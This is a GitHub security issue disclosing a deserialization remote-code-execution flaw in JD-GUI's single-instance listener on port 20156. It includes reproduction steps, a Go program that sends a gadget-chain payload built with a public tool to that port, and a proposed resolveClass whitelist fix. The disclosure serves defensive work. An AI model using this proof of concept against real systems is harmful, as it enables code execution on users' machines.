Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[Security] RCE Vulnerability in JD-GUI #415

Open
4ra1n opened this issue Feb 3, 2023 · 1 comment
Open

[Security] RCE Vulnerability in JD-GUI #415

4ra1n opened this issue Feb 3, 2023 · 1 comment

Comments

@4ra1n
Copy link

4ra1n commented Feb 3, 2023

RCE Vulnerability in JD-GUI

Description: When user open UIMainWindowPreferencesProvider.singleInstance config and use JDK 8u20/7u21, there will be an RCE vulnerability through deserialization on port 20156.

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H (Moderate 6.6)

How to reproduce:

(1) Use single instance config in jd-gui.cfg

<preferences>
<JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>
<JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>
<UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance>
</preferences>

(2) Start jd-gui using JDK 8u20

"C:\Program Files\Java\jdk1.8.0_20\bin\java.exe" -jar jd-gui-1.6.6.jar

(3) Make JDK 8u20 payload

https://github.com/pwntester/JRE8u20_RCE_Gadget

Modify the cmd in ExploitGenerator#main

String command = "calc.exe";

Run ExploitGenerator#main to generate payload (exploit.ser)

(4) Send binary data to 20156 port

package main

import (
	"fmt"
	"net"
	"os"
)

func main() {
	payload, _ := os.ReadFile("exploit.ser")
	conn, err := net.Dial("tcp", "127.0.0.1:20156")
	_, err = conn.Write(payload)
	buf := make([]byte, 1024*10)
	_, err = conn.Read(buf)
	if err != nil {
		fmt.Println(err)
	}
}

(5) RCE

Screenshot:

image

(6) Fix

Use resolveClass method, only support String[]

/*
 * Copyright (c) 2008-2019 Emmanuel Dupuy.
 * This project is distributed under the GPLv3 license.
 * This is a Copyleft license that gives the user the right to use,
 * copy and modify the code freely for non-commercial purposes.
 */

package org.jd.gui.util.net;

import org.jd.gui.util.exception.ExceptionUtil;

import java.io.*;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.function.Consumer;

public class InterProcessCommunicationUtil {

    static class FilterObjectInputStream extends ObjectInputStream {

        public FilterObjectInputStream(InputStream in) throws IOException {
            super(in);
        }

        @Override
        protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
            if (classDesc.getName().equals("[Ljava.lang.String;")) {
                return super.resolveClass(classDesc);
            }
            throw new RuntimeException(String.format("not support class: %s",classDesc.getName()));
        }
    }

    protected static final int PORT = 2015_6;

    public static void listen(final Consumer<String[]> consumer) throws Exception {
        final ServerSocket listener = new ServerSocket(PORT);

        Runnable runnable = new Runnable() {
            @Override
            public void run() {
                while (true) {
                    try (Socket socket = listener.accept();
                         ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream())) {
                        // Receive args from another JD-GUI instance
                        String[] args = (String[])ois.readObject();
                        consumer.accept(args);
                    } catch (IOException|ClassNotFoundException e) {
                        assert ExceptionUtil.printStackTrace(e);
                    }
                }
            }
        };

        new Thread(runnable).start();
    }

    public static void send(String[] args) {
        try (Socket socket = new Socket(InetAddress.getLocalHost(), PORT);
             ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream())) {
            // Send args to the main JD-GUI instance
            oos.writeObject(args);
        } catch (IOException e) {
            assert ExceptionUtil.printStackTrace(e);
        }
    }
}

Screenshot:

image

@4ra1n
Copy link
Author

4ra1n commented Feb 3, 2023

#417

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant